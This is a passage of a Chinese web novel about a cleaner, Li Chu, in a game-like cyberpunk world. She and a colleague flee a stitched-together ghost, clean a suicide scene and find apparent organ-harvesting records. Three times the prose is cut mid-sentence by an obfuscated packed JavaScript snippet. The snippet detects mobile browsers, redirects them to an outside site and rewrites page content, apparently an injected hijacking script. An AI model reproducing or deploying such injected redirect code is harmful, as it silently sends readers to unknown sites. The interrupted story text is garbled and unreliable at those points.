一模一样的铃声拷打着他们的鼓膜,但黎初很自然地走到了亮起屏幕的终端跟前,重复了同样的操作。 她在那台终端上也拉黑了。 谢云帆:“……嘶。” 他的思维还是太局限了。 对啊!再响只要再拉黑不就行了,看它还能打到哪儿去! 他看黎初的眼神已经转为彻底的佩服,自己赶紧跟着有样学样地挨个拉黑。 半开放式办公室内的终端电话不止两三台,打电话的那个仿佛也跟他们杠上了,打完这个打那个。“叮铃铃”的声音此起彼伏地响成一片,随着数量的减少,他们甚至做到了未雨绸缪,在铃声响起前就先站在了对应的终端跟前。 这下是彻底安静了。 此时此刻,谢云帆心里居然有种诡异的胜利感,他狞笑着在最后一台终端电话上操作完毕——哦,是他的最后一台。再转头看向黎初那边,她也直接划掉了那锲而不舍的来电。 唉。 黎初摇头叹气。 有这毅力做什么都会成功的。 除了遇到她。 【恭喜宿主触发凶案现场清洁工条目隐藏成就。】 【恭喜你解锁成就:“牛马冷傲退凶铃”。】 黎初:“……?” 【说明:茫茫深夜,电话响起,那一端究竟是老板还是贞子,二者哪个又更恐怖?是时候发挥当代打工人最顶级的生存智慧了——这份冷傲,不是霸总的邪魅一笑,而是社畜最后的倔强;谢绝凶铃,并非刻意针对的已读不回,更是对魑魅魍魉的绝对劝退。】 【成就奖励:“老板的鸡汤泡饼盲盒”×1。】 【鲜,太鲜了!汤是周会现熬的好,饼是量身画来的妙,要问惊喜在何处,盲盒谁开谁知道。在此倾情提供错过的年会抽奖,各个奖项的获取概率完全均等,绝无黑幕,最终解释权归出品方所有。】 “……”黎初无语凝噎片刻,“你要是中病毒了就去治病。” 【你不喜欢吗?】 “我倒想问,谁会喜欢这种东西?” 【根据我的有限数据分析,人类喜欢抽卡和开盲盒。】 “那又如何?”黎初义正辞严,“我看着是那种会赌概率的人吗?” 【对不——】 “看人真准。” 【??】 别说,这还真多少勾起了点她的好奇心,虽然这名字着实没什么想要的欲望,但人的本性也的确有点以小博大在里头。不过现在拆开就免了,她更在意谢云帆那个讲到一半的“鬼故事”。 她的表现在谢云帆看来就是突然安静地发了一小会儿呆,他也顾不上管这个,而是重新绕着错落着的十几部终端电话转圈,伸脑袋去看它们还没熄灭的屏幕。 “还真是同一个号码。”他奇道,“这能是谁打来的?” “老板吧。”黎初说,“我猜的。” 确实是她猜的——只不过是根据系统的描述猜的,再加上“稀客”的特性,那通非要他们接起来不可的电话就很有可能与死者在生命工坊受到的压力有关。 “比起这个,还是继续讲你的——” 她话音倏地一顿。 谢云帆:“怎么了?” “有人影。”她说。 黎初没有挪开视线。 她原本只是不经意地瞥见了隔开办公室与走廊的幕墙,却真捕捉到从窗框一闪而过的影子——那张窃笑着的平滑白脸掠过得太快,以至于连五官都只留下几道黑漆漆的线条。 “继续讲你那故事吧。”她说,“别的再说。” 谢云帆:“嗯……刚才说到哪儿来着?” “——对,终端响了。”他固然还在为她冷不丁冒出来的那仨字疑神疑鬼,但也明白当务之急是捋清现状更重要,“当时屋子里静得可怕,外面也恰巧没什么噪音,所以当然就很突兀。” “再一抬头,餐桌旁边的几个人连同那老太太,直勾勾地朝他看过来。他吓得屁滚尿流,转身就跑。幸也不幸吧,他应该没有闯到稀客的影响范围里,所以才会又响铃,又能顺着楼梯原路逃走……总之,他逃到了楼下,那些不知道还是不是人的‘东西’也没有追下来。” “接下来是几天后的事情了。” “那天之后他再没敢出门,整日窝在家里做噩梦。结果没过两天,他家门被敲开了,敲门的是个女人,不知道从哪知道他去过鬼哭街那里,全副武装地请他带路。” “真是请?”黎初问。 “有枪,”谢云帆挠挠面罩,“但态度可以说是请。” 她就知道。 “他也不敢反抗,硬着头皮带她去了那栋楼。他想找理由不上去来着,结果这个女人只是不说话看着他,他就把话咽回去了。” “可能因为隔了几天吧……”他含糊地吞下自己的猜测,“反正看着马上要饿死的那些人不见了。只有老太太愣愣地坐在桌子对面,身体都陷在阴影里,瞧上去就像只有个影子,房内冷得人骨头缝都疼。” “那女人也不在乎,直接进去了。到了这个时候,他才发现她手里提着个……保温饭盒。” “她没跑,也没攻击,只是走过去,把保温饭盒放在了老太太面前的桌上,然后说,我回来了。” “他说,在那一刻,整个屋子都好像叹了口气。那种能把人冻僵的冷飕飕的感觉一下子就没了,那个黑乎乎的老太太影子沉默很久,既没尖叫也没扑过来,就……在原地散了。散成了一小撮灰,落在桌子上,还有点热气儿。” 黎初一边听一边记了几个词,“最后是怎么处理的?” “不知道啊,他直接拿钱走人了。”谢云帆耸肩,“那女人给了他一笔带路费,条件是保密。” “那他不还是讲给你们听了?” “嗨,我也不清楚他怎么想的,不过至少对身份做到保密了。”他说,“现在我觉得……应该是稽查局的人。” “嗯。”黎初头也不抬道,“能掌握到他去过那里的事,又知道那个‘稀客’形成的原因,还会熟练地处理,身份差不离十之八九。” “如果稽查局的做法真是这样,那你之前说的‘三不’就不是绝对,适当情况可以与之接触。” “其次,既然已经知道稀客是因为死后执念才存在,”她在“执念”这词上画了个圈,又和“空间”两字连在一起,“看他们在那件事上的处理手法,就是化解执念。化解以后,本来被其覆盖的空间也会跟着变化……” 有点像地缚灵。 “啊这。”谢云帆环顾办公室一圈,目光最终落在那块人形污痕上,“他的执念能是什么?” 黎初想起了刚来时听到的那句话,“开除……?” 谢云帆:“啊?” “他在我后头的时候,”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在疾风迎面而来的瞬间,她一把揪住了谢云帆的后领,后者被她重重甩向墙壁,脊背与之砸出“砰”的闷响。他吃痛地倒吸凉气,但下意识仍是抬起撞得有些模糊的视野—— 充当诱饵的男人肉|体垮塌了。 就像是有谁抽走了他的脊柱,他的整个上半身软若无骨地彻底垂落,胳膊像面条一样随之甩来甩去。但仍有东西在他的腰腹支撑着他不彻底倒下。 这东西也终于从拐角后的黑暗里浮现出来。 那是一双人手。 一双显然不属于他的、细长得畸形的胳膊,用手掌撑住地面,上臂的断面则和他后腰缝合在一起。紧挨着它的是反着缝上来的人腿,再往后又是手臂……它们有的按部就班地遵循着成双成对的组合,有的干脆乱七八糟,胳膊配腿,又或者腿搭几条胳膊,唯一共同点是毫无血色的惨白。 试图袭击他们的那条“长臂”扑了个空,连带着周围肢体也跟着摇晃一下。男人的上半身随之仰倒,第一次真正露出了他的正脸。 这张颠倒过来的面皮苍白平滑,唯独额头上的弹孔和几条横亘在脸上的黑色痕迹更加醒目——黎初意识到,她先前瞥见的线条不是五官,或者说不仅仅是五官。 他抖动着被缝死的眼皮,缓缓咧开同样被黑线缝住的嘴巴。 对他们露出了个垂涎三尺的笑。 8. 盲盒 他离得不远也不近。 不至于一伸“手”就够得到他们。 但也不远,因为当他露出笑容时,可以看到串连上下嘴唇的棉线绷得很紧很直,被扎进线头的那一点皮肉微微凹陷进去,随着牵拉动作与贯穿自己的线条来回摩擦。 谢云帆瞧着都幻痛,他喉间发出含糊不清的声音——说不上是因为惊恐还是钝痛,终于硬顶着撞墙后疼到麻木的后背,手忙脚乱地爬远了点距离。 黎初这辈子还从未见过如此诡异的东西。 如果要为这玩意儿找个形容,那应该是——拟态。 她知道有些捕食者为了引诱猎物上钩,会模仿成其他生物或者环境特征,也就是所谓的攻击性拟态,比如大名鼎鼎的鮟鱇鱼。 它脑袋前那一点在黑暗中散发着幽幽荧光的“提灯”,就如同这东西从拐角探出来引他们过来的上半身……但又不尽然,只有上半身的男人也不像是纯粹用来迷惑猎物的装饰,他分明才该是构成这坨嵌合物的主体,偏偏看着被缝合在一起的手脚鸠占鹊巢。 无论如何,跟他比起来,谢云帆说的那个简直是和蔼可亲的邻家老婆婆。 “嗬……嗬……” 他也不急着攻击,只是如饥似渴地端详着近在眼前的两人,人类的五官能扭曲成这样真是不可思议。他的眼皮还在疯狂颤动,勉力睁开的缝隙里露出一丝隔着瞳仁的眼白。他这么用力,静寂到极点的空气中甚至可以听得到什么被隐隐撕裂了。 如果只是这样,甚至还好了。 黎初打一眼望过去,就瞧见他的尾部还坠着大团乱糟糟的杂物。那与其说是被刻意堆叠,不如说杂七杂八扔到一起后就你挤我我穿插|你地再分不开——被导管缠了一圈又一圈的是十几个还闪着寒光的注射器针头,更换下来的手术刀刀片也凝固着脏污的体|液,在地上“呲啦、呲啦”地刮出令人牙酸的声音。 男人倒过来的白脸笑嘻嘻地摇摆,然而,正如他毫不错眼地盯紧了二人,他们也不可能错过他身体后方悄悄抬起来的一只手臂。 一瞬间—— 刚小心翼翼地试探着站起来的谢云帆下意识瞥向黎初。 两人对了个眼神,不约而同地转身就跑! 这时候再回那间半开放式的办公室无疑是一头扎进死胡同的自寻死路,能去的只有那还弥漫着黑气的走廊尽头。 鞋底重重落在地上的脚步声纷乱,比这更繁杂的是追在他们身后那些“啪啪”的拍打声。光裸的手掌和脚板噼里啪啦地拍击,顶在它最前头的男人上半身却跟面条一样甩来甩去,本该是有点滑稽的画面,但在这种情况下,能袭上心头的只有无尽的诡异和恐慌。 他们之间的距离在一点点拉近。 黎初不由感叹:“腿多还是跑得快啊!” 谢云帆:“这种时候就不要吐槽了啊啊啊!” “这能跑到哪儿去?!”他边跑边断断续续地惊恐道,“我们再找不到回去的路怎么办?!” 黎初:“先能活着回去找再说!” 盘踞在走廊尽头的黑暗没有如想象中那般将他们一起吞噬,恰恰相反,当两人来到跟前时,黑气已经不知不觉地悄然散去,取而代之的是与原先完全一致的走廊。 但问题也出在这里,他们前前后后经过了得有几十扇门,从头到尾没有看到电梯或者楼梯的影子,被追赶的距离也早就超出了诺维生命工坊这栋小楼单层该有的程度——很显然,他们在一个被扭曲的空间里鬼打墙。 不幸中的万幸是他们之前没怎么浪费体力,现在都还能跑得动,然而这样下去也行不通。 事已至此,只能死马当作活马医了! “我要开盲盒!”她在心里说,“搞快点,现在就开!” 【盲盒来咯!】 系统话音刚落,一个四四方方的小盒子虚影就出现在了她的眼前。 不仅很精致,上面还带着母鸡汤泡饼的LOGO。 它开始七百二十度旋转。 黎初:“……” 你会不会太有仪式感了! 万万没想到还有这出的黎初一边闷头往前跑一边耐着性子等动画,在矜持地展现过全方位的样子后,盒盖终于猛然掀开,耀眼的光芒冲顶而出。 黎初倒吸一口凉气。 这金光——难道是—— SS—— 【盲盒奖励:“独属于你的老板TO签拍立得”×1。】 【有时,它是一种渴望;有时,它让人心神荡漾。纵使留住这光辉形象的只有薄薄一张相片,老板亲手在它上面签字并交给你的那刻,就注定了老板对你的欣赏,虽然老板都不知道你是谁。不过,当你拿出这张照片,一定可以唤醒你们关于它的温馨回忆——更大的概率是老板给你画一张更大的饼。】 ……开到脏东西了啊啊啊啊! 黎初突然很庆幸防护面罩挡住了半张脸,不然一定会被谢云帆发现她的表情很难绷。 但他们也都顾不上了。 背后的啪嗒声更近了,她别无他选,左右环顾后撞向最近的那扇门,直接扑过去按下了它的把手。 没锁。 黎初眼睛一亮。 她低声道:“进!” 谢云帆回头,转身就跟她钻进了门缝。门板迅速在身后关好,二人别说再挪一步了,就连大气都不敢出,只和门口隔着可怜的一丁点距离,竖起耳朵去听外面的动静。 “啪嗒。” “啪、啪。” 手掌拍打地面的响声逐渐逼近,从鼓点般急促的节奏慢了下来,可以听出他对自己忽然丢失目标这件事有些茫然。 但它没有就此离开,而是继续在原地徘徊,妄图能再找到一点痕迹。拍打声忽远忽近,那一条庞然大物似乎正在兜圈,谢云帆抬手使劲按住自己“扑通扑通”的心跳,生怕这动静会传出门外。 好在没有。 那玩意儿终于放弃了在这扇门外寻找他们。 它过去了。 现在就放松还太早了,两人仍然保持着一动不动,直到确认它真的没有去而复返的迹象,谢云帆才开了口。 “那故事难道是假的?!”他第一句话就是这个,语气显而易见地后悔,“明明一点作用都没有……” “不一定。”黎初说,“有的地方能对得上。” “故事里体现出来的是心结——那个老太太应该一直在等什么人,在她那么做之后就相当于解开了心结。这点和稀客的‘执念’是吻合的。” “但是……” “过程省略太多了,能强烈到死后都要扭曲的执念怎么会一句话就消除得了。”她道,“如果真是稽查局,他们肯定还有别的手段,只是我们不知道。” “唉,”谢云帆叹气,“被困死在这儿和被稀客弄死,哪个好点儿……算了,好像本质上都一样。” 被追了太久,他俩说话都有点不稳。在这简单交谈的同时,黎初才有功夫观察他们到底进的是什么地方——东西凌乱地堆在墙边角落,有的上面还落了一层薄灰,这里恐怕是个杂物室。 “这是什么?” 她踢踢脚边的圆形设备,“扫地机器人?” “是吧,有点老的型号。”谢云帆扫了一眼,收回目光,“咦,你拿的什么?” 他这才注意到突然出现在黎初手上的照片。 黎初:“……” 她无语地拿出那张拍立得签名照,它在系统界面里还是个无面人侧身向着镜头微笑伸手——其实一片模糊的脸上只有一张咧开的嘴也很诡异,但绝对不会比到她手里以后突然变成那个睁眼就在PUA她的光头上司一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506444|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸自以为魅力十足地笑着伸手的照片更诡异。 拳头硬了。 她正想介绍一下这位背锅——不是,纯狱风的前上司,谢云帆就露出了奇怪的神色。 “咦?”他问,“你怎么会有社长的照片?” 黎初:“……哪个社长?安净?” 她被讯问的时候曾经听过光头上司的履历,确信他和安净扯不上一点关系,更别提他现在已经在吃牢饭了。 谢云帆满脸不适地点点头,“不过说实话……这笑容出现在他脸上,我鸡皮疙瘩都起来了。” 黎初心里有了点猜测,“他长什么样?” “又瘦又高,”谢云帆对她手拿照片还这么问很不解,但也比划了下,“到这块吧,留个山羊胡……” 完全不一样。 “我知道了。”各看各的老板,原来是这么个“独属于”,黎初转悠了一圈,遗憾地没能在杂物室里找到更多用得上的东西,突然道,“你那视界中枢现在有故障吗?” 谢云帆摇头,“暂时没有,咋了?” “那好,”她的视线落回那台扫地机器人,“你会用这个吗?” …… 谢云帆低声问:“……不是,真能行?” “试试呗,”黎初说,“反正也没什么损失。” 他们已经换了个地方待着。 这次是茶水间,墙上开了一道狭长的玻璃窗口,正好可以让两人藏在旁边观察外面。也可能并非“正好”,不过这不重要。 那台被重新启动的扫地机器人就在一墙之隔的走廊地面上。 门外不时传来的断续手步声可以判断出稀客到来的周期,他们卡着时间点将它摆过去,又等了一会儿,当真看到那个有些熟悉的怪异身影逐渐浮现出黑暗。 男人的上半身仍耷拉着,几乎拖在了地上,活像条前后不搭调的蜈蚣。他的笑容早就消失了,在继续往前“走”之前,他先停在了那台突兀挡路的机器跟前。 这高度对常人得蹲下来,对他却刚刚好。人像残缺不全地映在他被缝后半睁不睁的瞳仁上,谁也不知道他看没看清,但至少他真的停下了。 一秒。 两秒。 三秒过去了。 男人纹丝不动地看着贴在扫地机正中央的那张照片。 黎初屏住呼吸,谢云帆也捏了把汗。 ……失败了? 不—— 在他们的注视下,他缓缓抬起了其中一对撑地的手臂。 它们向后伸去,从尾部的医疗废械里艰难地拔出了两把手术刀。 一时间,两人脑中浮现出同一句话—— 果然,最招人恨的还得是自己老板。 ——哦,不管是不是人。 “就是现在。”黎初马上说,“快!” 谢云帆毫不犹豫地按下按钮。 她早先简单向对方介绍了下那张照片是怎么回事,并解释为心理暗示。 既然谢云帆的义眼还能用,那台同样老旧的扫地机也不是全无希望,更妙的是它似乎还留着点电。 而此刻,在那两块刀片真的直直扎下之前,被遥控启动的扫地机以设定好的最高速度向前窜去,再之后只要等它自动识别转弯就好了。 他们目瞪口呆地看着他追着那贴了TO签拍立得的机器人就发狠了忘情了,一路风驰电掣漂移不带冒烟地冲过拐角,后半身子在墙上重重甩了一下都不在意——墙在意,上面全是金属器械划出来的印子。 但他一次也没回过头。 “这下好了,至少把他的注意力转移走了。”黎初说,“现在我们——” 谢云帆:“赶紧逃跑!” 黎初:“开始打扫卫生!” …… 谢云帆:“???????” 9. 人类制品 他们还是回到了那间占地面积不小的半开放式办公室。 谢云帆悲痛欲绝。 “没关系。”黎初安慰地拍拍他肩膀,“你不来,我也要把你绑来的。” 谢云帆:“……” 你这是在威胁吧!是的吧! 他已经看透对方完全不是那种会发自内心尊敬前辈的乖巧新人了,从她在这时候居然想着要打扫现场而不是提桶跑路开始,再从她当初对杜经理的回答开始,再再从她声称自己是和那个甲壳打赌赢了以后被介绍过来开始——咦,那他看透得是不是有点晚? 当然,他也其实不是被威逼才跟回来,而是……没有地方可去啊。 到处都是黑气挡道,还有个被扫地机调虎离山得团团转的稀客指不定啥时候从哪窜出来,他们逃命的一路上就没见过半个出口,连摸回来都是靠着打开一扇扇从外面看着差不多的门来确认有没有又鬼打墙。 其实最后这事还挺难的,因为它们里面大部分都是同样景象——不是错落排列的办公桌椅,就是不合逻辑地挤着文件柜吧台或者医用推床之类应该出现在不同场所的东西,好些房间又雷同到简直像一键复制粘贴出来的,更有甚者连打都打不开。 以至于当他们艰难摸索重新回到这初始点时,都有种见到暌违已久的老朋友的感动。 想必这就是落叶归根吧。 他欲言又止,“就算这样,专程跑回来打扫也——” 太牛马了吧! 你今儿才第一天上班,不要这么有归属感啊! “干一行爱一行,”黎初深沉地望向远方,“这是我的人生原则。” 谢云帆顺着她的目光望去,他看不见那行“完美地完成你的第一次清扫”的当前任务,于是只能遵循本心地问:“那你为什么会被公司开除?” 黎初回头,静静注视着他。 “咳、咳咳,不提不提。”谢云帆赶紧道,“那我们现在开始?” “嗯,不过我也不会这些,麻烦你帮我示范一下了。”黎初眨巴眼睛,“前辈——” “祖宗,你是我祖宗!”谢云帆举双手告饶,“别叫我这称呼了求你了!” 黎初:“?” 黎初:“唉。” 现在的人真难伺候! 那蜈蚣串烧似的“稀客”显然还没窜进这里来打砸过,他们最开始提进来的清扫工具就原样待在那里。 谢云帆弯腰翻啊翻,从里头抽出一筒厚厚的塑料布,再一抖,一个一人多高的大袋子就顺畅地从他手里展开。 “这是生物聚合袋,可以隔绝污染。”他简要道,“咱们得先把清洁或者回收不了的东西拆成零部件装进去,这些到时候会由专人来报废。” 他向着那个工位抬抬下巴,“就比如桌板和椅子。” 黎初接过袋子,看着谢云帆又摸出了一罐喷雾。 尽管已经有防护面罩挡着,可他依然谨慎地眯起眼睛,一边摇晃喷气罐一边小心翼翼靠近那张桌子,在惊动还趴在上面蠢动的大片蚊蝇前猛地对准了它们! “呲——” 俗话说术业有专攻,安净应该也在如何消灭死尸滋生的蝇虫这方面下了大功夫。面罩过滤了绝大部分味道,不过一瞬间弥漫开的浅色气体还是刺激得黎初差点打了个喷嚏,它的效果同样立竿见影——不等她挥开面前的气味,那些嗡嗡扇动翅膀的成虫或蜷曲蠕动的幼体已经缩成更小的圆点、进而消弭于无形。 它们化成了近乎透明的液体,沿着桌边滴滴答答地往下流。 黎初:“……” 还是有点恶心。 但干了三个月的谢云帆估计是习惯了,他面不改色地上喷下喷左喷右喷,将看得到虫子的位置都喷了个遍,又熟练地拆开一次性毛巾,配合着会社特制清洁液,很快把沾到昆虫溶液的地方擦得干干净净。 最后把空喷雾罐和脏掉的毛巾都丢进黎初帮忙撑开的聚合袋里,一气呵成。 还真别说,在如此紧张可怖的环境下,重新操刀自己熟悉的事务,是真能缓解些许不安。 谢云帆忽然明白她为什么提议要来打扫卫生了。 ——原来是这样。 面对无解的困境,借由信手拈来的简单工作找回一点可控感。不管能否解决,至少心理状态是稳住了。 更何况,安净的特殊本质是在稀客出现之前清理掉能够催生“它”的东西,尽管他们两人无从得知能否也靠这样削弱稀客,不过,如果能尽可能去除与之息息相关的物质…… 他看着对方的眼神中不由又多了几分钦佩。 刚刚走神归来的黎初:“……?” 虽然但是,他怎么一脸懂了好多的表情。 她在竖着耳朵听走廊上的动静,看来扫地机的电量还算充足,那个蜈蚣般的男人刚刚又冲过去了。 “说起来,”她问,“遗体是什么时候回收的?” 她不认为在外面撒丫子到处跑的玩意儿是死者尸体本身。 “我记得是昨天。” 谢云帆示意她过来搭把手,两人开始一起拆卸那把办公椅。 “委托方会把正式的委托函发给我们,附带详细的现场说明书。”他歪着脑袋想了下,“但我收到的那封不太详细——自杀的都这样,但里面也说了他们昨天拉走了尸体,现场并无异常状况,那会儿应该还没有发生异变。” 谢云帆是熟练工,一把完整的椅子很快在他面前被大卸八块。黎初在旁边打打下手拧拧螺丝,同时扭开了他们带来的那桶绝密清洁剂,也擦拭起飞溅到边边角角的血迹。 毕竟过了几天的时间,不论是干结的血液还是块状物都理应很难刮除。它们甚至可能已经渗进了缝隙与台面里,别说是淘汰下来卖给二手贩子了,直接魂归垃圾场还差不多。 然而和那些蝇虫一样,清洁剂是意料之中的强效,她亲眼看着那些理应顽固的污渍轻易地溶解,第一下变淡,第二下消失,就这么恢复了原本的颜色。 一个人存在过的痕迹竟然如此容易抹去。 她余光瞥向虚空中那条正提示着当前任务的文字,旁边的完成度数值已经开始从百分之一往上涨,现在到了百分之十。 很好,稳步推进。 在一片兢兢业业的诡异寂静中,只有稀客奔跑在外的声响分外清晰,尤其是他那金属器械与地板摩擦的动静格外尖锐。 “嗖——” 黎初用闲聊的语气打破了沉默,“讲真的,你也做了有三个月,中间一点儿也没想过那些问题吗?” 她说的自然是那些接触稀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506445|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客后消失的员工。 谢云帆苦笑,“你问我这个——” “……想过吧,可能想过。”他说,“但这是我能接触到的酬劳最高的工作了,我……有不得不赚钱的理由。” “现在说这个也没什么意义。” 他故作轻松道:“活着出去再说吧。” 完全被血液和脑浆浸染的办公椅已经拆装完毕,接下来要大动干戈的是这张同样一塌糊涂的桌子。 “嗖——” 黎初在死者“本人”的伴奏下拉开他曾经的抽屉,一样样将被污染的和没被污染的各自分类。最底下的抽屉里是一台小平板,在她碰到它时,它的屏幕忽然亮了起来。 两人同时一愣。 遗物清点确实是要交给他们处理的,但安净有保密协议在先,这个时候该做什么显而易见。 黎初毫无心理负担地滑开了平板的屏幕。 开什么玩笑,她打游戏的时候错过一段文本得难受老半天。 谢云帆应该阻止她——至少他需要阻止她,然而他鬼使神差地没有动,他想唾弃自己可鄙的好奇心。 “嗖——” 更奇怪的是这台设备没加密。 没有指纹或者虹膜解锁,也没有密码,打开后的内容倒是对得起这么简陋到不存在的保护措施——里头光秃秃的,就是几个默认的初始软件。 黎初凭借自己对于这个世界而言过时的知识点来点去,终于点进了个看起来像是回收站的地方。 里面躺着一份孤零零的数据文件。 “嗖——” 她打开文件,谢云帆也不由得凑过来,表格页面在眼前展开,其中最引人注目的是名字后面标注的对应关系。 [游昆——眼球、脾脏。] [宁引光——手臂、肾脏、胃。] [范·沃克——眼球、肾脏、胆囊。] 后面详细记录了诸如性别、年龄等的公民信息,同时还有他们近期的活动记录——没有具体时间——以及一些他们看不懂的指标数值。 黎初:“……” 谢云帆:“……” “刚才那有点像……文件的迁移记录,”他奇怪道,“但这些也不是个人能调查到的完备程度……” 黎初:“诺维生命工坊从事的不应该是这种业务吗?” 那劳什子的“人类制品”。 “算是,但不太一样。”谢云帆已经自觉承担为前·中层人士解释的义务了,“你知道他们是允许活体捐献的吧?因为这块的市场缺口很大,哪怕是最低等的义体,只要能保证捐献者的个体完整性,就可以接受对方的捐献。” “然后这些制品可以用来移植,或者送去实验室,再或者切片教具……不过,无论如何要保证捐献者的隐私。” 她对这个名词背后含义的疑惑终于有了答案。 “唔,”黎初说,“全靠自愿?” 谢云帆安静了会儿。 然后他说:“在规定上是自愿捐献。” 黎初的视线重新移向表格。 那奇怪的嵌合模样,超出隐私范围的详尽程度,明显不该外露的文件迁移…… 黎初问: “他真是自杀?” 外面的声音停下了。 10.死路 这沉默来得比她的问题更猝不及防。 她说出了那个隐隐盘桓在两人心底的共同疑问,尚且还能说得上是意料之中,但原本规律“运行”着的东西突然终止,可以掂量的水分可就太大了。 这会只是个单纯的巧合吗? 是他追上了那个扫地机,然后把它砸成了稀巴烂? 还是他发现了贴在上头的只不过是一张照片,再怎么报复也无济于事,所以干脆置之不顾了? 又或者…… 他听得到他们的对话,而他们的对话也确实涉及到某种真相,因此触动了什么机制? 那——他到底能听到多少?对这片空间的掌控程度如何? 在一片堪称令人头皮发麻的沉默中,黎初停顿片刻,然后继续往抹布上喷清洁剂,再仔细擦洗地板上的血迹,接着又把擦脏了的抹布丢进聚合袋里——如是往复。 谢云帆:“……” 她是真的很爱工作。 “我们是不是应该跑路了。”他终于忍不住说。 “嗯……我觉得也是。”黎初先安抚了一下他的情绪,然后开始一本正经地胡说八道,“但这种时候最不能慌,越慌越乱了手脚,危机真到来的时候一定会有征兆。” 谢云帆不解,“征兆?” 黎初深沉地缓缓点头,“没错,征兆。” 毕竟这是款全息游戏——就算再怎么真实,那也是款游戏。 那么,以她丰富的作死……啊不是,在极限边缘反复试探的经验,真到了非跑路不可的地步,那策划肯定会在拐弯抹角地在各种犄角旮旯塞暗示,直到它们发酵到连想忽视都不行的地步。 说白了就是套路! 比如空房间的门突然打开这种搞你心态的小动作啦,再比如蹦出来搞追逐战的跳脸怪物啦,再再比如天崩地裂般的地震啦……虽然她现在不是玩家应该是NPC,但剧情这方面总归是大差不差的。 不会吧不会吧,她穿进的不会是那种为杀而杀的粪作吧? ……那她不如死了算了。 这是作为游戏宅最后的骄傲与倔强! 说回正题,如果面临的是实在难以完成的任务,那也要在非走不可之前能做多少做多少,这样才能领尽可能多的结算奖励。 不然跟纯粹的到此一游没区别。 希望它不是那种哪怕差一丁点都全部清空的惩罚机制。 这里毕竟只是个单人的自杀现场——甭管他是不是真自杀,看起来像就够了——虽然看着掉SAN了点,但打扫难度并不算太大。 成打地扔掉被腐烂的人体组织液浸泡过的木板和材料后,在一遍又一遍的擦洗下,他们已经把眼前的现场打扫了个七七八八,连不幸被飞溅到的天花板墙皮都铲掉大半,清洁任务的进度条缓慢增长至百分之六十以上。 黎初估算着把这些污染物无害化处理掉,再加上那些零零碎碎的血迹,以及走廊上爬来爬去留下的污渍,应该能差不多堆满进度。 “……我就当你说的是真的,真有那个什么征兆吧。”谢云帆说一个字就要看一眼窗外,紧张之情溢于言表,“我的意思是……就算有征兆又能怎样?此路不通啊。” 难道真的再像之前那样被追来追去吗? 的确。 黎初下意识捻了下手指,手套沾着擦拭时碰到的血迹和腐液,指间残存的黏腻感令人浑身都起鸡皮疙瘩。 塑胶来回摩擦间发出“咕叽”的声音,回荡在这个连掉根针都会显得震耳欲聋的空间内。 黎初眼珠转了转,弯下腰继续一个个地拉开抽屉看。 谢云帆意识到她要做什么,赶紧也跟着翻找起来。 根据他们之前得出的结论,要想解决某人成为的“稀客”,那得搞明白对方的执念——也就是说,弄清楚“某人”到底是个怎样的人。 人活于世,从何处来往何处去,愿意付出什么,想要得到什么,种种都有迹可循。 与你擦肩而过的路人也是他们世界的主人公,他们有自己的生活,有自己的家庭,只要找对方向,顺藤摸瓜不是难事。 ——特别是在死亡现场。 生命即将消亡之际,如果还有无论如何想要留下来的东西,它或许不振聋发聩,但一定是对这辈子最鲜明的诠释。 被拉出来的抽屉乱七八糟地扔了一地,黎初沉默地站起身。 好了,她现在要收回上面的话。 她早该明白!谁会把重要又珍惜的东西放工位啊! 好消息是他们不算一无所获。 黎初提起挂绳,看着它另一端拴着的仅有成果——这是一张员工证,正中央贴了两寸大的头像照,长相端正的男人面对镜头露出有些虚弱和僵硬的笑容,尽管外面那位的五官都被黑线缝变了形,但依然能辨别出是同一个人。 至于坏消息嘛…… 黎初的目光落向下方,姓名那栏被从抽屉缝隙里滴进去的污血彻底盖住了。她试着抠了抠,绝望地发现它们早已渗进纸里,就算泡在清洁剂里泡烂了也不可能重现它的庐山真面目了。 连名字都不知道,找了也是白找。 “你那边就没有死者的个人资料吗?”她问。 “怎么可能。我要有还费这劲儿。”谢云帆耸肩,“谁会把这种档案发给一个清洁工,咱们就只负责收了钱好好打扫,废丘的生存原则懂的都懂,不该问的别问,不该打听的别瞎打听——” 他越说声音越小,因为他们现在在做的事显然和这个原则南辕北辙。 虽然是不得已而为之。 谢云帆病急乱投医地重新拿起那台平板。 “按理说除非是专业黑客,不然删得再干净也会留下个人的痕迹……”他半天憋出一句,“……但是他删得确实干净。” 黎初毫不犹豫地把这事交给他了,毕竟她对赛博世界的科技水平实在不熟,稍微扒拉一下还行,再多就要露怯。但也没抱多大希望——他看起来好不了太多。 她叉腰休息了会儿,开始对他们大致打扫完了的自杀现场查漏补缺。准确来说,是靠着防护面罩的提示哪里亮了擦哪里,清理大片血迹的时候还不觉得,眼下用反色荧光高亮标出的血点简直就像指路明灯,道道都是通往更多奖励的康庄大道。 